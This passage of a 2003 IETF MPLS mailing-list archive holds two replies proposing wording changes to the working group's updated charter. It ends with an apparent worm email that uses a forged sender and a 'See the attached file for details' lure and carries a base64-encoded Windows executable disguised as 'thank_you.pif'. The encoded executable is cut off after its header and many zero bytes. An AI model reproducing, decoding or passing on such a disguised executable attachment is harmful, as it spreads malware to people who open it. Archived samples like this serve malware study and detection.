wicked_scr.scr is removed from here because it contains a virus.

---------------------------------------------------------
--_NextPart_000_001E7291--



From owner-mpls@UU.NET  Wed Oct  8 08:15:25 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA11149
	for <mpls-archive@lists.ietf.org>; Wed, 8 Oct 2003 08:15:13 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjnd19381
	for <mpls-archive@lists.ietf.org>; Wed, 8 Oct 2003 12:15:14 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpjnc18334;
	Wed, 8 Oct 2003 12:14:53 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpjnb00620
	for mpls-outgoing; Wed, 8 Oct 2003 11:55:44 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpjnb00615
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 8 Oct 2003 11:55:40 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpjnb17405
	for <mpls@uu.net>; Wed, 8 Oct 2003 11:48:44 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjnb17487
	for <mpls@uu.net>; Wed, 8 Oct 2003 11:48:44 GMT
Received: from sj-iport-1.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-1-in.cisco.com [171.71.176.70])
	id QQpjnb17472
	for <mpls@uu.net>; Wed, 8 Oct 2003 11:48:43 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-1.cisco.com (8.12.9/8.12.6) with ESMTP id h98BmecZ011834
	for <mpls@uu.net>; Wed, 8 Oct 2003 04:48:40 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACZ11155;
	Wed, 8 Oct 2003 07:48:39 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h98BmdH21111 for mpls@uu.net; Wed, 8 Oct 2003 07:48:39 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpjnb00187
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 8 Oct 2003 11:47:14 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpjna15696
	for <mpls@uu.net>; Wed, 8 Oct 2003 11:43:58 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjna03614
	for <mpls@uu.net>; Wed, 8 Oct 2003 11:43:58 GMT
Received: from sj-iport-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-1-in.cisco.com [171.71.176.70])
	id QQpjna03600
	for <mpls@uu.net>; Wed, 8 Oct 2003 11:43:57 GMT
Received: from wells.cisco.com (wells.cisco.com [171.71.177.223])
	by sj-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h98BhtJs022772;
	Wed, 8 Oct 2003 04:43:55 -0700 (PDT)
Received: from jvasseur-w2k01.cisco.com (sjc-vpn1-131.cisco.com [10.21.96.131]) by wells.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id EAA24344; Wed, 8 Oct 2003 04:43:53 -0700 (PDT)
Message-Id: <4.3.2.7.2.20031008074017.0521e7a0@wells.cisco.com>
X-Sender: jvasseur@wells.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Wed, 08 Oct 2003 07:43:54 -0400
To: Loa Andersson <loa@pi.se>
From: Jean Philippe Vasseur <jvasseur@cisco.com>
Subject: Re: [Fwd: Updated MPLS charter]
Cc: mpls wg <mpls@UU.NET>, George Swallow <swallow@cisco.com>,
        Alex Zinin <zinin@PSG.COM>
In-Reply-To: <3F7BDB9F.8010602@pi.se>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Loa and George,

One comment in line.

At 10:02 AM 10/2/2003 +0200, Loa Andersson wrote:

>All,
>
>an updated version of the MPLS working group charter has
>been sent to the IESG review. Comments on the charter should
>be sent to the working group mailing list.
>
>/Loa
>
>
>  Multiprotocol Label Switching (mpls)
>  -------------------------------------
>
>  Current Status: Active Working Group
>
>  Chair(s):
>    George Swallow <swallow@cisco.com>
>    Loa Andersson <loa@pi.se>
>
>  Routing Area Director(s):
>    Bill Fenner <fenner@research.att.com>
>    Alex Zinin <zinin@psg.com>
>
>  Routing Area Advisor:
>    Alex Zinin <zinin@psg.com>
>
>  Mailing Lists:
>  General Discussion: mpls@uu.net
>  To Subscribe: mpls-request@uu.net
>  In Body: subscribe (unsubscribe)
>  Archive: http://cell.onecall.net/cell-relay/archives/mpls/mpls.index.html
>
>  Description of Working Group:
>
>  The MPLS working group is responsible for standardizing a base
>  technology for using label switching and for the implementation of
>  label-switched paths over various packet based link-level
>  technologies, such as Packet-over-Sonet, Frame Relay, ATM, and
>  LAN technologies (e.g. all forms of Ethernet, Token Ring, etc.).
>  This includes procedures and protocols for the distribution of
>  labels between routers and encapsulation.
>
>  The working group is also responsible for specifying the necessary
>  MIBs for the  functionality specified in the base MPLS technology.
>
>  The first generation of the MPLS standards are largely complete,
>  and the current WG work items are:
>
>  - procedures and protocols for multicast protocol extensions for
>    point-to-multipoint TE, including soft-preemption

The last sentence might be slightly confusing, the word "including" gives 
the impression that soft preemption is part of the charter only in the 
context of point-to-multipoint although it applies to any sort of TE LSP, 
right ?

Thanks.

JP.

>  - Define requirements and mechanisms for MPLS OAM
>
>  - Define an overall OAM framework for MPLS applications
>
>  - MPLS-specific aspects of traffic engineering for multi-areas/multi-AS
>    in cooperation with the CCAMP WG
>
>  The Working Group chairs tracking of the working group documents can be
>  viewed at http://urax.utfors.net/~loa/MPLS_WG_Drafts.htm
>
>  Goals and Milestones:
>
>  Done    Submit documents from original MPLS effort to IESG
>
>  Done    Framework for IP multicast over label-switched paths ready
>          for advancement.
>
>  Done    LDP fault tolerance specification ready for advancement to
>          Proposed Standard.
>
>  Done    Specification for MPLS-specific recovery ready for advancement.
>
>  Done    Submit Multiprotocol Label Switching (MPLS) Forward
>          Equivalency Class-To-Next Hop Label Forwarding Entry
>          Management Information Base to the IESG for publication as
>          Proposed Standards
>
>  Done    Submit Definitions of Managed Objects for MultoiProtocol
>          Label Switching, Label Distribution Protocol (LDP) to the
>          IESG for publication as Proposed Standards
>
>  Done    Submit Multiprotocol Label Switching (MPLS) Label Switching
>          Router (LSR), Management Information Base to the IESG for
>          publication as Proposed Standards
>
>  Done    Submit Multiprotocol Label Switching (MPLS) Management Overview
>          to the IESG for publication as Proposed Standards
>
>  Done    Submit Definitions of Textual Conventions for Multiprotocol
>          Label Switching (MPLS) Management to the IESG for publication
>          as Proposed Standards
>
>  Done    Submit Multiprotocol Label Switching (MPLS) Traffic
>          Engineering Management Information Base to the IESG for
>          publication as Proposed Standards
>
>  Oct 03  Advance the Label Distribution Protocol to Draft Standard.
>
>  Oct 03  Submit the Traffic Engineering Link MIB to the IESG for
>          as a Proposed Standard
>
>  Oct 03  Submit a specification on Encapsulations to carry MPLS over
>          IP and GRE to the IESG for as a Proposed Standard
>
>  Nov 03  Together with CCAMP complete and establish the (G)MPLS change
>          process
>
>  Apr 04  Advance MPLS Architecture and MPLS encapsulation to Draft
>          Standard
>
>  Apr 04  Submit a specification on Soft Pre-emption of LSP Tunnels to
>          the IESG for publication as a Proposed Standard
>
>  Nov 03  Submit specification on LSP Ping to the IESG for publication
>          as a Proposed Standard
>
>  Apr 04  Submit specification on LSR Self Test to the IESG for
>          publication as a Proposed Standard
>
>  Aug 04  Submit an OAM Framework Document to the IESG for publication
>          as an Informational RFC
>
>  Oct 04  Advance "Extension to RSVP for LSP Tunnels" to Draft
>          Standard
>
>  Nov 04  Submit a document defining the scope, requirements, and issues
>          to resolve for setup of P2MP TE LSPs (MPLS and GMPLS)
>
>  Mar 04  Submit document(s) specifying protocol extensions, enhancements
>          and mechanisms for setup of P2MP TE LSPs
>
>
>-----------------------------------
>
>FYI, removed or replaced milestones:
>
>  REMOVE  Shepherd completed MPLS specifications through IESG review and 
> RFC editor processing
>  REMOVE  MPLS-TE MIB ready for advancement to Proposed Standard
>  REMOVE  Base MPLS Proposed Standard RFCs ready for advancement to Draft 
> Standard.
>  REMOVE  LDP end-to-end LSP authentication ready for advancement to 
> Proposed Standard.
>
>
>
>
>
>--
>Loa Andersson
>
>Mobile          +46 739 81 21 64
>Email           loa@pi.se
>
>



From owner-mpls@UU.NET  Wed Oct  8 08:59:49 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA12728
	for <mpls-archive@lists.ietf.org>; Wed, 8 Oct 2003 08:59:49 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjnf10721
	for <mpls-archive@lists.ietf.org>; Wed, 8 Oct 2003 12:59:56 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpjnf10393;
	Wed, 8 Oct 2003 12:59:45 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpjnf24747
	for mpls-outgoing; Wed, 8 Oct 2003 12:46:04 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpjnf24711
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 8 Oct 2003 12:45:56 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpjne13480
	for <mpls@UU.NET>; Wed, 8 Oct 2003 12:43:01 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjne20009
	for <mpls@UU.NET>; Wed, 8 Oct 2003 12:43:00 GMT
Received: from psg.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: psg.com [147.28.0.62])
	id QQpjne19982
	for <mpls@UU.NET>; Wed, 8 Oct 2003 12:43:00 GMT
Received: from dpapadimitriou by psg.com with local (Exim 4.24; FreeBSD 4.9)
	id 1A7DeX-000Izn-40; Wed, 08 Oct 2003 12:42:53 +0000
Subject: Re: [Fwd: Updated MPLS charter]
To: jvasseur@cisco.com (Jean Philippe Vasseur)
Date: Wed, 8 Oct 2003 12:42:52 +0000 (GMT)
Cc: loa@pi.se (Loa Andersson), mpls@UU.NET (mpls wg),
        swallow@cisco.com (George Swallow), zinin@PSG.COM (Alex Zinin)
In-Reply-To: <4.3.2.7.2.20031008074017.0521e7a0@wells.cisco.com> from "Jean Philippe Vasseur" at Oct 08, 2003 07:43:54 AM
X-Mailer: ELM [version 2.5 PL6]
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <E1A7DeX-000Izn-40@psg.com>
From: Dimitri Papadimitriou <dpapadimitriou@PSG.COM>
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

jp, imho the first part of this sentence:
">    - procedures and protocols for multicast protocol extensions for
>        point-to-multipoint TE, including soft-preemption"

might also be clarified as follows:
>    - procedures and protocol extensions for point-to-multipoint TE LSPs

the last two items of the charter say "for setup of" (is teardown - or 
other operations such as mbr or frr- ommitted?) i would thus suggest to 
make to leave scope open

thanks,
- dimitri.

> Hi Loa and George,
> 
> One comment in line.
> 
> At 10:02 AM 10/2/2003 +0200, Loa Andersson wrote:
> 
> >All,
> >
> >an updated version of the MPLS working group charter has
> >been sent to the IESG review. Comments on the charter should
> >be sent to the working group mailing list.
> >
> >/Loa
> >
> >
> >  Multiprotocol Label Switching (mpls)
> >  -------------------------------------
> >
> >  Current Status: Active Working Group
> >
> >  Chair(s):
> >    George Swallow <swallow@cisco.com>
> >    Loa Andersson <loa@pi.se>
> >
> >  Routing Area Director(s):
> >    Bill Fenner <fenner@research.att.com>
> >    Alex Zinin <zinin@psg.com>
> >
> >  Routing Area Advisor:
> >    Alex Zinin <zinin@psg.com>
> >
> >  Mailing Lists:
> >  General Discussion: mpls@uu.net
> >  To Subscribe: mpls-request@uu.net
> >  In Body: subscribe (unsubscribe)
> >  Archive: http://cell.onecall.net/cell-relay/archives/mpls/mpls.index.html
> >
> >  Description of Working Group:
> >
> >  The MPLS working group is responsible for standardizing a base
> >  technology for using label switching and for the implementation of
> >  label-switched paths over various packet based link-level
> >  technologies, such as Packet-over-Sonet, Frame Relay, ATM, and
> >  LAN technologies (e.g. all forms of Ethernet, Token Ring, etc.).
> >  This includes procedures and protocols for the distribution of
> >  labels between routers and encapsulation.
> >
> >  The working group is also responsible for specifying the necessary
> >  MIBs for the  functionality specified in the base MPLS technology.
> >
> >  The first generation of the MPLS standards are largely complete,
> >  and the current WG work items are:
> >
> >  - procedures and protocols for multicast protocol extensions for
> >    point-to-multipoint TE, including soft-preemption
> 
> The last sentence might be slightly confusing, the word "including" gives 
> the impression that soft preemption is part of the charter only in the 
> context of point-to-multipoint although it applies to any sort of TE LSP, 
> right ?
> 
> Thanks.
> 
> JP.
> 
> >  - Define requirements and mechanisms for MPLS OAM
> >
> >  - Define an overall OAM framework for MPLS applications
> >
> >  - MPLS-specific aspects of traffic engineering for multi-areas/multi-AS
> >    in cooperation with the CCAMP WG
> >
> >  The Working Group chairs tracking of the working group documents can be
> >  viewed at http://urax.utfors.net/~loa/MPLS_WG_Drafts.htm
> >
> >  Goals and Milestones:
> >
> >  Done    Submit documents from original MPLS effort to IESG
> >
> >  Done    Framework for IP multicast over label-switched paths ready
> >          for advancement.
> >
> >  Done    LDP fault tolerance specification ready for advancement to
> >          Proposed Standard.
> >
> >  Done    Specification for MPLS-specific recovery ready for advancement.
> >
> >  Done    Submit Multiprotocol Label Switching (MPLS) Forward
> >          Equivalency Class-To-Next Hop Label Forwarding Entry
> >          Management Information Base to the IESG for publication as
> >          Proposed Standards
> >
> >  Done    Submit Definitions of Managed Objects for MultoiProtocol
> >          Label Switching, Label Distribution Protocol (LDP) to the
> >          IESG for publication as Proposed Standards
> >
> >  Done    Submit Multiprotocol Label Switching (MPLS) Label Switching
> >          Router (LSR), Management Information Base to the IESG for
> >          publication as Proposed Standards
> >
> >  Done    Submit Multiprotocol Label Switching (MPLS) Management Overview
> >          to the IESG for publication as Proposed Standards
> >
> >  Done    Submit Definitions of Textual Conventions for Multiprotocol
> >          Label Switching (MPLS) Management to the IESG for publication
> >          as Proposed Standards
> >
> >  Done    Submit Multiprotocol Label Switching (MPLS) Traffic
> >          Engineering Management Information Base to the IESG for
> >          publication as Proposed Standards
> >
> >  Oct 03  Advance the Label Distribution Protocol to Draft Standard.
> >
> >  Oct 03  Submit the Traffic Engineering Link MIB to the IESG for
> >          as a Proposed Standard
> >
> >  Oct 03  Submit a specification on Encapsulations to carry MPLS over
> >          IP and GRE to the IESG for as a Proposed Standard
> >
> >  Nov 03  Together with CCAMP complete and establish the (G)MPLS change
> >          process
> >
> >  Apr 04  Advance MPLS Architecture and MPLS encapsulation to Draft
> >          Standard
> >
> >  Apr 04  Submit a specification on Soft Pre-emption of LSP Tunnels to
> >          the IESG for publication as a Proposed Standard
> >
> >  Nov 03  Submit specification on LSP Ping to the IESG for publication
> >          as a Proposed Standard
> >
> >  Apr 04  Submit specification on LSR Self Test to the IESG for
> >          publication as a Proposed Standard
> >
> >  Aug 04  Submit an OAM Framework Document to the IESG for publication
> >          as an Informational RFC
> >
> >  Oct 04  Advance "Extension to RSVP for LSP Tunnels" to Draft
> >          Standard
> >
> >  Nov 04  Submit a document defining the scope, requirements, and issues
> >          to resolve for setup of P2MP TE LSPs (MPLS and GMPLS)
> >
> >  Mar 04  Submit document(s) specifying protocol extensions, enhancements
> >          and mechanisms for setup of P2MP TE LSPs
> >
> >
> >-----------------------------------
> >
> >FYI, removed or replaced milestones:
> >
> >  REMOVE  Shepherd completed MPLS specifications through IESG review and 
> > RFC editor processing
> >  REMOVE  MPLS-TE MIB ready for advancement to Proposed Standard
> >  REMOVE  Base MPLS Proposed Standard RFCs ready for advancement to Draft 
> > Standard.
> >  REMOVE  LDP end-to-end LSP authentication ready for advancement to 
> > Proposed Standard.
> >
> >
> >
> >
> >
> >--
> >Loa Andersson
> >
> >Mobile          +46 739 81 21 64
> >Email           loa@pi.se
> >
> >
> 
> 



From owner-mpls@UU.NET  Wed Oct  8 09:27:41 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA14014
	for <mpls-archive@lists.ietf.org>; Wed, 8 Oct 2003 09:27:40 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjnh15661
	for <mpls-archive@lists.ietf.org>; Wed, 8 Oct 2003 13:27:48 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpjnh14951;
	Wed, 8 Oct 2003 13:27:27 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpjng17038
	for mpls-outgoing; Wed, 8 Oct 2003 13:12:49 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpjng17007
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 8 Oct 2003 13:12:38 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpjng06695
	for <mpls@uu.net>; Wed, 8 Oct 2003 13:04:11 GMT
From: dareks@nortelnetworks.com
Received: from DDSL-12 by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [61.11.82.129])
	id QQphnd08110
	for <mpls@uu.net>; Wed, 24 Sep 2003 10:28:04 GMT
Message-Id: <QQphnd08110.200309241028@cmr1.ash.ops.us.uu.net>
To: <mpls@UU.NET>
Subject: Re: Details
Date: Fri, 1 Jan 1999 6:07:10 +0530
X-MailScanner: Found to be clean
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="_NextPart_000_014FB1AC"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multipart message in MIME format

--_NextPart_000_014FB1AC
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

See the attached file for details
--_NextPart_000_014FB1AC
Content-Type: application/octet-stream;
	name="thank_you.pif"
Content-Disposition: attachment;
	filename="thank_you.pif"
Content-Transfer-Encoding: base64

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em
nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA
TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA
AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA
AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu
c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS
AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA
AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
